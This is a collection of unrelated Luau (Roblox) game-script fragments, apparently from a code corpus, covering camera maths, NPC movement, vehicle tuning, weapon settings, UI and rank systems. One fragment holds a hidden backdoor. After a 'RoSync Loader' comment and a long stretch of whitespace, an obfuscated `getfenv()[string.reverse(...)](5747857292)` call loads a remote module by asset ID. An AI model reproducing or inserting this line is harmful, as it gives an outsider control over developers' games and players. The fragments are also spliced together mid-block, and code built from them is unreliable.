Roblox/luau_corpus huggingface dataset:
-- Legacy implementation renamed
function CameraUtils.GetAngleBetweenXZVectors(v1: Vector3, v2: Vector3): number
	return math.atan2(v2.X*v1.Z-v2.Z*v1.X, v2.X*v1.X+v2.Z*v1.Z)
end

function CameraUtils.RotateVectorByAngleAndRound(camLook: Vector3, rotateAngle: number, roundAmount: number): number
	if camLook.Magnitude > 0 then
		camLook = camLook.unit
		local currAngle = math.atan2(camLook.z, camLook.x)
		local newAngle = round((math.atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount
		return newAngle - currAngle
	end
	return 0
end
-- How many times per second the gun can fire
local FireRate = 5 / 30000
-- Tween

local tween = game:GetService("TweenService")
local info = TweenInfo.new(
	3,
	Enum.EasingStyle.Linear,
	Enum.EasingDirection.In,
	0,
	false,
	0
)

local abrindo = {
	CFrame = cf1.CFrame
}

local fechando = {
    CFrame = doorpos
}

local create1 = tween:Create(portao,info,abrindo)
local create2 = tween:Create(portao,info,fechando)
--[=[
	http://reactivex.io/documentation/operators/filter.html

	Filters out values

	```lua
	Rx.of(1, 2, 3, 4, 5):Pipe({
		Rx.where(function(value)
			return value % 2 == 0;
		end)
	}):Subscribe(print) --> 2, 4
	```
	@param predicate (value: T) -> boolean
	@return (source: Observable<T>) -> Observable<T>
]=]
function Rx.where(predicate)
	assert(type(predicate) == "function", "Bad predicate callback")

	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			return source:Subscribe(
				function(...)
					if predicate(...) then
						sub:Fire(...)
					end
				end,
				sub:GetFailComplete()
			)
		end)
	end
end
-- get when the key is pressed
local function HandleKeyDown(inputObject,InUse)
	if InUse then return end
	for k,f in pairs (Actions) do
		if k == inputObject.KeyCode then
			f(inputObject)
		end
	end
end

local UIS = game:GetService("UserInputService")
local InputBeganConnection
--DevVince was here. :o
local shelly = script.Parent
local origin = shelly.PrimaryPart.CFrame
local tether = 15
local bg = shelly.PrimaryPart:WaitForChild'BodyGyro'
local bp = shelly.PrimaryPart:WaitForChild'BodyPosition'
bp.Position = origin.p
bg.CFrame = shelly.PrimaryPart.CFrame
local shellyGood = true
local ostrich = tick()

function MoveShelly()
	bp.Parent = shelly.PrimaryPart
	local goal
	repeat 
	local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), shelly.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0))
	local part,pos,norm,mat = workspace:FindPartOnRay(ray, shelly)
	if part == workspace.Terrain and mat ~= Enum.Material.Water then
		goal = pos+Vector3.new(0,.35,0)
	end
	wait()
	until goal
	--Set new goal for banto to MoveTo :)
	local pos = shelly.PrimaryPart.Position
	local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z))
	bg.CFrame = cf
	bp.Position = (cf*CFrame.new(0,0,-100)).p
	
	local start = tick()
	repeat wait(.5)
	local ray = Ray.new(shelly.PrimaryPart.Position, Vector3.new(0,-140,0))
	
	until (shelly.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >15 or not shellyGood
	if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
	bp.Parent = nil
	wait(math.random(3,8))
end


local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
	if shellyGood then
		bp.Parent,bg.Parent= nil,nil
		shelly.PrimaryPart.Transparency =1
		shelly.PrimaryPart.CanCollide = false
		shelly.Shell.Transparency = 1
		shelly.HitShell.Transparency = 0
		shelly.HitShell.CanCollide = true
		shellyGood = false
		ostrich = tick()
		shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
		local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
		hitSound.PlayOnRemove = true
		hitSound.Parent = shelly.PrimaryPart
		wait()
		hitSound:Destroy()
		
		repeat wait() until tick()-ostrich > 10
		shelly.PrimaryPart.Transparency = 0
		shelly.PrimaryPart.CanCollide = true
		shelly.Shell.Transparency = 0
		shelly.HitShell.Transparency = 1
		shelly.HitShell.CanCollide = false
		bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
		shellyGood = true
	end
end)

while true do
	if shellyGood then
		MoveShelly()
	else
		wait(1)
	end 
end
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	 TeamKill = true					--- Enable TeamKill?
	,TeamDamageMultiplier = 0.2			--- Between 0-1 | This will make you cause less damage if you hit your teammate
	
	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...
	
	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 1				--- Seconds before you can jump again
	,JumpPower = 30						--- Jump power, default is 50
	
	,RealisticLaser = true				--- True = Laser line is invisible
	,ReplicatedLaser = true				
	,ReplicatedFlashlight = true
	
	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD
-- Public Constructors

function DraggerClass.new(element)
	local self = setmetatable({}, DraggerClass)
	
	self._Maid = Lazy.Utilities.Maid.new()
	self._DragBind = Instance.new("BindableEvent")
	self._StartBind = Instance.new("BindableEvent")
	self._StopBind = Instance.new("BindableEvent")
	
	self.Element = element
	self.IsDragging = false
	self.DragChanged = self._DragBind.Event
	self.DragStart = self._StartBind.Event
	self.DragStop = self._StopBind.Event
	
	init(self)
	
	return self
end
-- Initialize the tool
local MaterialTool = {
	Name = 'Material Tool';
	Color = BrickColor.new 'Bright violet';

	-- State
	CurrentMaterial = nil;

	-- Signals
	OnMaterialChanged = Signal.new();
}

MaterialTool.ManualText = [[<font face="GothamBlack" size="16">Material Tool  🛠</font>
Lets you change the material, transparency, and reflectance of parts.]]
----
----
	if hit.Parent:findFirstChild("Humanoid") ~= nil then
		local target1 = "LeftUpperLeg"
		local target2 = "LeftUpperLeg2"
		if hit.Parent:findFirstChild(target2) == nil then
			local g = script.Parent.Parent[target2]:clone()
			g.Parent = hit.Parent
			local C = g:GetChildren()
			for i=1, #C do
				if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
					local W = Instance.new("Weld")
					W.Part0 = g.Middle
					W.Part1 = C[i]
					local CJ = CFrame.new(g.Middle.Position)
					local C0 = g.Middle.CFrame:inverse()*CJ
					local C1 = C[i].CFrame:inverse()*CJ
					W.C0 = C0
					W.C1 = C1
					W.Parent = g.Middle
				end
				local Y = Instance.new("Weld")
				Y.Part0 = hit.Parent[target1]
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
			end

		local h = g:GetChildren()
		for i = 1, # h do
			h[i].Anchored = false
			h[i].CanCollide = false
		end
	end
	end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 30 -- cooldown for use of the tool again

ZoneModelName = "Damage zone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]


local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 140				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 240				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 250				,
		spInc			= 20				, -- Increment between labelled notches
	}
}
-- GAMEPASSES
Gamepasses = {
	[0] = "NonAdmin";
};
--MOT is up and down while MOT2 is side to side

wt = 0.07


while wait(0.01) do


        if script.Parent.Values.PBrake.Value == true then
            MOT3.DesiredAngle = 0.6
            end
        if script.Parent.Values.PBrake.Value == false then 
            MOT3.DesiredAngle = 0.2
            end


end
--[[
	BaseState 
	
	Description: BaseState is a class that is meant to be inherited, when you inherit from this base state it's intended to
	be provided to a state machine. You can override some of the functions in your inherited class to take advantage of the
	a base state's behavior in a state machine.
	
	To find a great example of inheriting BaseState, go into
		ReplicatedStorage -> Common -> Databases -> WeaponStates -> Grenade -> IdleState
]]

local BaseState = {}
BaseState.__index = BaseState
-- Private Variables -- 
local root = script.Parent.Parent --the root of the Chassis model
local driverSeat
local passengerSeats

local motors
local steeringPrismatic
local redressMount

local defaultGravity = 196.2
local actualGravity = workspace.Gravity
local gravityChange = actualGravity / defaultGravity
--[[
function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end
--]]
while sp.Parent and Humanoid and Humanoid.Parent and Humanoid.Health>0 and Torso and Head and Torso and Torso.Parent do
	for _,parts in pairs(sp:GetDescendants()) do
		if parts:IsA("BasePart") and parts:CanSetNetworkOwnership() then
			parts:SetNetworkOwner(nil)
		end
	end
	
	local _,time=wait(1/3)
	humanoids={}
	populatehumanoids()
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent then
			if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if not creator or not plr or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso") or h.Parent:FindFirstChild("UpperTorso")
					if t then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.WalkSpeed=runspeed
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
		end
		if time>nextrandom then
			nextrandom=time+3+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end
--Values--
local car = script.Parent.Parent.Car.Value
local FE = workspace.FilteringEnabled
local _Tune = require(car["A-Chassis Tune"])
local Redline = _Tune.Redline
local maxPSI = WasteGatePressure
local totalPSI = 0
local actualPSI = 0
local CR = CompressionRatio
local TC = TurboCount
local handler = car:WaitForChild("UpdateAndMake")
local Values = script.Parent.Parent.Values
local Throttle = script.Parent.Parent.Values.Throttle.Value
local BOVFix = (1 - Throttle)
local tester = 1
local BOVact = 0
local BOVact2 = 0
local Whistle = car.DriveSeat:WaitForChild("Whistle")
local BOV = car.DriveSeat:WaitForChild("BOV")
Whistle:Play()




script.Parent.Parent.Values.RPM.Changed:connect(function()
	--When In Neutral
	if Values.Horsepower.Value == 0 then
		totalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/9)-0.053)*(69/TurboSize))/WasteGatePressure)*15)
		if totalPSI < 0.05 then
			totalPSI = 0.05
		end
		if totalPSI > 2 then
			totalPSI = 2
		end
		--TEST
		
	end
	--When Driving
	if Values.Horsepower.Value > 0 then
		totalPSI = totalPSI + ((((((Values.Horsepower.Value*(Values.Throttle.Value*1.2)/_Tune.Horsepower)/9)-0.063)*69/TurboSize)/WasteGatePressure)*15)
		if totalPSI < 0.05 then
			totalPSI = 0.05
		end
		if totalPSI > 2 then
			totalPSI = 2
		end
		--TEST
		
	end
	
	
	
	actualPSI = totalPSI/2
	

	if FE then
		local BP = totalPSI
		
		handler:FireServer(totalPSI,actualPSI,Throttle,BOVFix)
	else
		local Throttle2 = Throttle
		local W = car.DriveSeat:WaitForChild("Whistle")
		local B = car.DriveSeat:WaitForChild("BOV")
		if Throttle2 < 0 then
			Throttle2 = 0
		end
		W.Pitch = (totalPSI)
		W.Volume = totalPSI/4
		B.Pitch = 1 - (-totalPSI/40)
		B.Volume = ((-0.03+totalPSI/2)*(1 - Throttle))/2
		
	end
	
end)
--front motor

script.Parent.Wheels.boggieF.motf.HingeConstraint.AngularVelocity = speed
script.Parent.Wheels.boggieF.motf.HingeConstraint2.AngularVelocity = speed
script.Parent.Wheels.boggieF.motf.HingeConstraint.MotorMaxTorque = RPM
script.Parent.Wheels.boggieF.motf.HingeConstraint2.MotorMaxTorque = RPM
--	for i, entry in ipairs(messages) do
--		if entry.messageType == Enum.MessageType.MessageWarning
--			or entry.messageType == Enum.MessageType.MessageError then
--			
--			warn(entry.message)
--		else
--			print(entry.message)
--		end
--	end
end
--	if vehicle ~= nil and debounce == false and planedebounce == false then
--	if fly == false and taxi == false then return end
--	debounce = true

	controlling = true
	while controlling do
		game:GetService("RunService").RenderStepped:wait()
		if script.Parent.CanControl.Value == true and script.Parent.Power.Value >= Settings.MaxPower then
		local engine = Parts:WaitForChild("Engine")
		local position = mouse.Hit
		local target = position.p
		local mousePoint = mouse.Hit.p;
		-- Vector from tank to mouse point aasfbsdfsdfbdbsdfsd
		local targetVector = (mousePoint - mouse.Origin.p).unit;
		move(mousePoint, engine)
		else
		end
	end
--local l__ID__2 = u1.Directory.Gamepasses.VIP.ID;
local u3 = {};
function v1.Progress(p4, p5)
	local v12 = u1.Saving.Get(p4);
	if not v12 then
		return;
	end;
	--if u1.Gamepasses.Owns(p4, l__ID__2) then
	--	p5 = p5 * 2;
	--end;
	if v12.IsFollowingOnTwitter then
		p5 = p5 * 1.5;
	end;
	if not u3[p4] then
		u3[p4] = p5;
		return;
	end;
	u3[p4] = u3[p4] + p5;
end;
function v1.GetNextRank(p6)
	local v13 = u1.Saving.Get(p6);
	if not v13 then
		return;
	end;
	for v14, v15 in ipairs(u1.Shared.RankChart) do
		if v15 == v13.Rank then
			return u1.Shared.RankChart[v14 + 1];
		end;
	end;
end;
function v1.GetRankNumber(p7)
	local v16 = u1.Saving.Get(p7);
	if not v16 then
		return;
	end;
	local l__RankChart__17 = u1.Shared.RankChart;
	for v18, v19 in ipairs(l__RankChart__17) do
		if v19 == v16.Rank then
			return v18;
		end;
	end;
	return #l__RankChart__17;
end;
function ApplyProgress(p8)
	local v20 = u1.Saving.Get(p8);
	local v21 = u3[p8];
	if v21 then
		if v20 then
			u3[p8] = nil;
			v20.RankProgress = v20.RankProgress + v21;
			if u1.Directory.Ranks[v20.Rank].needed <= v20.RankProgress then
				local v22 = v1.GetNextRank(p8);
				if v22 then
					v1.Give(p8, v22);
				end;
			end;
		end;
	end;
end;
coroutine.wrap(function()
	while true do
		for v23, v24 in ipairs(game.Players:GetPlayers()) do
			ApplyProgress(v24);
		end;
		wait(0.5);	
	end;
end)();
game.Players.PlayerRemoving:Connect(function(p9)
	if u3[p9] then
		u3[p9] = nil;
	end;
end);
u1.Network.Invoked("Redeem Rank Rewards").OnInvoke = function(p10)
	return v1.Reward(p10);
end;
return v1;
---[[ Font Settings ]]
module.DefaultFont = Enum.Font.SciFi
module.ChatBarFont = Enum.Font.SciFi
--[[

	timer = Timer.new(interval: number [, janitor: Janitor])
	connection = Timer.Simple(interval: number, callback: () -> void [, updateSignal: Signal = Heartbeat, timeFunc: () -> number = time])

	timer.Tick: Signal
	timer.Interval: number
	timer.UpdateSignal: Signal
	timer.TimeFunction: () -> number
	timer.AllowDrift: boolean

	timer:Start()
	timer:StartNow()
	timer:Stop()
	timer:Destroy()

	------------------------------------

	local timer = Timer.new(2)
	timer.Tick:Connect(function()
		print("Tock")
	end)
	timer:Start()

	Timer.Simple(2, function()
		print("Tock")
	end)

--]]


type CallbackFunc = () -> nil
type TimeFunc = () -> number

local Signal = require(script.Parent.Signal)

local RunService = game:GetService("RunService")
-- Set to 0 for no superchargers
Tune.S_Boost		= 5
Tune.S_Efficiency	= 6

Tune.S_Sensitivity	= 0.05		-- Supercharger responsiveness/sensitivity, applied per tick (recommended values between 0.05 to 0.1)
-- Class

local ViewportWindow = Class("ViewportWindow")

function ViewportWindow:__init(surfaceGui)
	self.surfaceGui = surfaceGui

	self.camera = Instance.new("Camera")
	self.camera.Parent = surfaceGui

	self.worldFrame = self:_createVPF("WorldFrame", 2)
	self.skyboxFrame = self:_createVPF("SkyboxFrame", 1)

	self.worldRoot = Instance.new("WorldModel")
	self.worldRoot.Parent = self.worldFrame
end
--[[ Last synced 10/14/2020 09:38 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------

local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent:WaitForChild("CloseButton")

if 
	frame.Visible == true
then
	blur.Enabled = true
end

close.MouseButton1Click:Connect(function()
	frame.Visible = false
	blur.Enabled = true
end)
--// Recoil Settings	
	gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.28; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.5; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.27; -- How much the camera flicks when aiming
	
	CamShake = 9; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 7; -- THIS IS ALSO NEW!!!!
	
	Kickback = 0.8; -- Upward gun rotation when not aiming
	AimKickback = 0.5; -- Upward gun rotation when aiming
-- NTG1D & Sallomy

local VehicleSeat = script.Parent
 
VehicleSeat.Changed:connect(function(prop)
    if prop == "Occupant" then
        local humanoid = VehicleSeat.Occupant
        if humanoid then
            local player = game:GetService("Players"):GetPlayerFromCharacter(humanoid.Parent)
            if player then
                VehicleSeat:SetNetworkOwner(player)
            end
        else
            VehicleSeat:SetNetworkOwner(nil)
        end
    end
end)
--[[[for i,v in pairs(game.ReplicatedStorage.Assets.WorldIDs:GetChildren()) do
	local Frame = script.Frame:Clone()
	
	Frame.TextLabel.Text = v.Name
	
	Frame.Parent = script.Parent.ScrollingFrame
	Frame.TP.MouseButton1Click:Connect(function()
		print("Teleporting to ",Frame.TextLabel.Text)
		game:GetService("TeleportService"):Teleport(v.Value)
	end)
end]]
--for i,v in pairs(game:GetService("CollectionService"):GetTagged("AdminTeleport")) do
for i,v in pairs(game.ReplicatedStorage.Events.Debug.AdminTeleportSpawns:InvokeServer()) do
	local Frame = script.Frame:Clone()
	
	Frame.TextLabel.Text = v
	
	Frame.Parent = script.Parent.ScrollingFrame
	Frame.TP.MouseButton1Click:Connect(function()
		--game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame *  CFrame.new(0,3,0)
		game.ReplicatedStorage.Events.Debug.Teleport:FireServer(v)
	end)
end
--- Emulates tabstops with spaces
function Util.EmulateTabstops(text, tabWidth)
	local result = ""
	for i = 1, #text do
		local char = text:sub(i, i)

		result = result .. (char == "\t" and string.rep(" ", tabWidth - #result % tabWidth) or char)
	end
	return result
end

return Util
-- Constants
-- The distance that a spread is created from the look vector of the camera
local Spread_Distance_From_Camera = 10
-- Make the chat work when the top bar is off
module.ChatOnWithTopBarOff = false
module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.
-- YellowTide's Easing Functions
local function Spring(t, b, c, d)
	t = t / d
	return (1 + (-2.72 ^ (-6.9 * t) * cos(-20.1061929829746759423869661986827850341796875 * t))) * c + b
end

local function SoftSpring(t, b, c, d)
	t = t / d
	return (1 + (-2.72 ^ (-7.5 * t) * cos(-10.05309649148733797119348309934139251708984375 * t))) * c + b
end
-- unlocked
	["Blue"] = {color = Color3.fromRGB(85, 170, 255), locked = true},
	["Grey"] = {color = Color3.fromRGB(120, 120, 120), locked = true},
	["Moss"] = {color = Color3.fromRGB(85, 85, 0), locked = true},
	["Pink"] = {color = Color3.fromRGB(255, 170, 255), locked = true},
	["Red"] = {color = Color3.fromRGB(112, 30, 30), locked = true},	
	["Pure White"] = {color = Color3.fromRGB(255,255,255), locked = true},	
},

} -- end of module

return module